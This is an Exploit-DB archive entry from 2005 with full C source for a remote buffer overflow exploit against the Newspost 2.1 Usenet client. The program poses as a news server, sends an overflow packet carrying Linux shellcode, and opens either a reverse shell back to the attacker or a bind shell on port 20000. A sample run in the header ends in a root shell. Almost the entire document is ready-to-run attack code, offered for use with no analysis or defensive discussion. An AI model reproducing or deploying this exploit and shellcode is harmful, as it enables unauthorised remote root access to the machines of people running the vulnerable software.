Newspost 2.1 - 'socket_getline()' Remote Buffer Overflow (2)

EDB-ID:

785


Platform:

Linux

Published:

2005-02-03

/*
 * v0.2
 * Newspost "socket_getline()" Buffer Overflow Exploit
 * Exploit
 * Bug discovered: 02/03/2005
 *
 * cybertronic[at]gmx[dot]net
 *
 * [ cybertronic @ newspost ] $ gcc -o newspost_expl newspost_expl.c
 * [ cybertronic @ newspost ] $ ./newspost_expl cyber tronic
 * Usage
 * -----
 * [ Bindshell    ] ./newspost_expl
 * [ Reverseshell ] ./newspost_expl [CONNECTBACK IP]
 * [ cybertronic @ newspost ] $ ./newspost_expl
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ newspost-2.1 remote exploit
 * --[ enter retaddr [ 0 = default ]
 * >> 0
 * --[ listening...OK!
 * --[ Incomming connection from:   192.168.2.103
 * --[ using bind shellcode!
 * --[ retaddr: 0xbfffee01
 * --[ sending packet [ 1056 bytes ]...done!
 * --[ sleeping 5 seconds before connecting to 192.168.2.103:20000...
 * --[ connecting to 192.168.2.103:20000...done!
 * --[ b0x pwned - h4ve phun
 * id
 * uid=0(root) gid=0(root) groups=0(root)
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED		"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

#define PORT	119

int isip ( char *ip );
int shell ( int s, char* tip, unsigned short cbport );

void connect_to_bindshell ( char* tip, unsigned short bport );
void exploit ( int s, char* ip, unsigned long lip, unsigned long ret, int option );
void header ();
void start_reverse_handler ( unsigned short cbport );
void wait ( int sec );

//131 bytes connect back 45295, greetz to esDee
char linux_connect_back[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

//92 bytes bindcode port 20000
char scode[] =
"\x31\xdb"				// xor ebx, ebx
"\xf7\xe3"				// mul ebx
"\xb0\x66"				// mov al, 102
"\x53"					// push ebx
"\x43"					// inc ebx
"\x53"					// push ebx
"\x43"					// inc ebx
"\x53"					// push ebx
"\x89\xe1"				// mov ecx, esp
"\x4b"					// dec ebx
"\xcd\x80"				// int 80h
"\x89\xc7"				// mov edi, eax
"\x52"					// push edx
"\x66\x68\x4e\x20"		// push word 8270
"\x43"					// inc ebx
"\x66\x53"				// push bx
"\x89\xe1"				// mov ecx, esp
"\xb0\xef"				// mov al, 239
"\xf6\xd0"				// not al
"\x50"					// push eax
"\x51"					// push ecx
"\x57"					// push edi
"\x89\xe1"				// mov ecx, esp
"\xb0\x66"				// mov al, 102
"\xcd\x80"				// int 80h
"\xb0\x66"				// mov al, 102
"\x43"					// inc ebx
"\x43"					// inc ebx
"\xcd\x80"				// int 80h
"\x50"					// push eax
"\x50"					// push eax
"\x57"					// push edi
"\x89\xe1"				// mov ecx, esp
"\x43"					// inc ebx
"\xb0\x66"				// mov al, 102
"\xcd\x80"				// int 80h
"\x89\xd9"				// mov ecx, ebx
"\x89\xc3"				// mov ebx, eax
"\xb0\x3f"				// mov al, 63
"\x49"					// dec ecx
"\xcd\x80"				// int 80h
"\x41"					// inc ecx
"\xe2\xf8"				// loop lp
"\x51"					// push ecx
"\x68\x6e\x2f\x73\x68"	// push dword 68732f6eh
"\x68\x2f\x2f\x62\x69"	// push dword 69622f2fh
"\x89\xe3"				// mov ebx, esp
"\x51"					// push ecx
"\x53"					// push ebx
"\x89\xe1"				// mov ecx, esp
"\xb0\xf4"				// mov al, 244
"\xf6\xd0"				// not al
"\xcd\x80";				// int 80h

int
isip ( char *ip )
{
	int a, b, c, d;
	
	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
		return ( 0 );
	if ( a < 1 )
		return ( 0 );
	if ( a > 255 )
		return 0;
	if ( b < 0 )
		return 0;
	if ( b > 255 )
		return 0;
	if ( c < 0 )
		return 0;
	if ( c > 255 )
		return 0;
	if ( d < 0 )
		return 0;
	if ( d > 255 )
		return 0;
	return 1;
}

int
shell ( int s, char* tip, unsigned short cbport )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		usleep(10);
	}
}

void
connect_to_bindshell ( char* tip, unsigned short bport )
{
	int s;
	int sec = 5; // change this for fast targets
	struct sockaddr_in remote_addr;
	struct hostent *host_addr;

	if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
	{
		fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
		exit ( 1 );
	}

	remote_addr.sin_family = AF_INET;
	remote_addr.sin_addr   = * ( ( struct in_addr * ) host_addr->h_addr );
	remote_addr.sin_port   = htons ( bport );

	if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
		printf ( "socket failed!\n" );
		exit ( 1 );
	}
	printf ( "--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
	wait ( sec );
	printf ( "--[ connecting to %s:%u...", tip, bport );
	if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
	{
		printf ( RED "failed!\n" NORMAL);
		exit ( 1 );
	}
	printf ( YELLOW "done!\n" NORMAL);
	shell ( s, tip, bport );
}

void
exploit ( int s, char* ip, unsigned long lip, unsigned long ret, int option )
{
	char out[1200];

	bzero ( &out, 1200 );
	memset ( out, 0x90, 1052 );
	printf ( "--[ retaddr: 0x%08x\n", ret );
	strncat ( out, ( unsigned char* ) &ret, 4 );

	if ( option == 0 )
	{
		memcpy ( &linux_connect_back[33], &lip, 4);
		memcpy ( out + 649, linux_connect_back, sizeof ( linux_connect_back ) - 1 );
	}
	else
		memcpy ( out + 649, scode, sizeof ( scode ) - 1 );

	printf ( "--[ sending packet [ %u bytes ]...", strlen ( out ) );
	if ( write ( s, out, strlen ( out ) ) <= 0 )
	{
		printf ( RED "FAILED!\n" NORMAL);
		exit ( 1 );
	}
	printf ( YELLOW "done!\n" NORMAL);
	close ( s );
}

void
header ()
{
	printf ( "              __              __                   _           \n" );
	printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      \n" );
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/  \n" );
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        \n" );
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/_/   \\____/_/ /_/_/\\___/  \n" );
	printf ( "    /____/                                                     \n\n" );
	printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
start_reverse_handler ( unsigned short cbport )
{
	int s1, s2;
	struct sockaddr_in cliaddr, servaddr;
	socklen_t clilen = sizeof ( cliaddr );

	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( cbport );

	printf ( "--[ starting reverse handler [port: %u]...", cbport );
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		printf ( "socket failed!\n" );
		exit ( 1 );
	}
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( "listen failed!\n" );
		exit ( 1 );
	}
	printf ( YELLOW "done!\n" NORMAL);
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
	{
		printf ( "accept failed!\n" );
		exit ( 1 );
	}
	close ( s1 );
	printf ( "--[ incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
	shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
	close ( s2 );
}

void
wait ( int sec )
{
	sleep ( sec );
}

int
main ( int argc, char* argv[] )
{
	int s1, s2;
	unsigned long lip;
	unsigned long ret = 0;
	char* ip;
	pid_t childpid;
	socklen_t clilen;
	struct sockaddr_in cliaddr, servaddr;
	
	if ( argc != 1 )
		if ( argc != 2 )
		{
			fprintf ( stderr, "Usage\n-----\n[ Bindshell    ] %s\n[ Reverseshell ] %s [CONNECTBACK IP]\n", argv[0], argv[0] );
			exit ( 1 );
		}
	system ( "clear" );
	header ();
	if ( argc == 2 )
	{
		if ( !isip ( argv[1] ) )
		{
			printf ( "--[ Invalid connectback IP!\n" );
			exit ( 1 );
		}
	}

	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
		exit ( 1 );
	
	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( PORT );
	
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	printf ( "--[ newspost-2.1 remote exploit\n" );
	printf ( "--[ enter retaddr [ 0 = default ]\n" );
	printf ( ">> " );
	scanf ( "%x", &ret );
	if ( ret == 0 )
		ret = 0xbfffee01;
	printf ( "--[ listening..." );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( RED "FAILED!\n" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "OK!\n" NORMAL );
	
	clilen = sizeof ( cliaddr );
		
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
			exit ( 1 );
	close ( s1 );
	printf ( "--[" GREEN " Incomming connection from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
	if ( argc == 2 )
	{
		printf ( "--[" YELLOW " using connect back shellcode!\n" NORMAL );
		lip = inet_addr ( argv[1] );
		exploit ( s2, ( char* ) NULL, lip, ret, 0 );
		start_reverse_handler ( 45295 );
	}
	else
	{
		printf ( "--[" YELLOW " using bind shellcode!\n" NORMAL );
		ip = ( char* ) inet_ntoa ( cliaddr.sin_addr );
		exploit ( s2, ip, ( unsigned long ) NULL, ret, 1 );
		connect_to_bindshell ( ip, 20000 );
	}
}

// milw0rm.com [2005-02-03]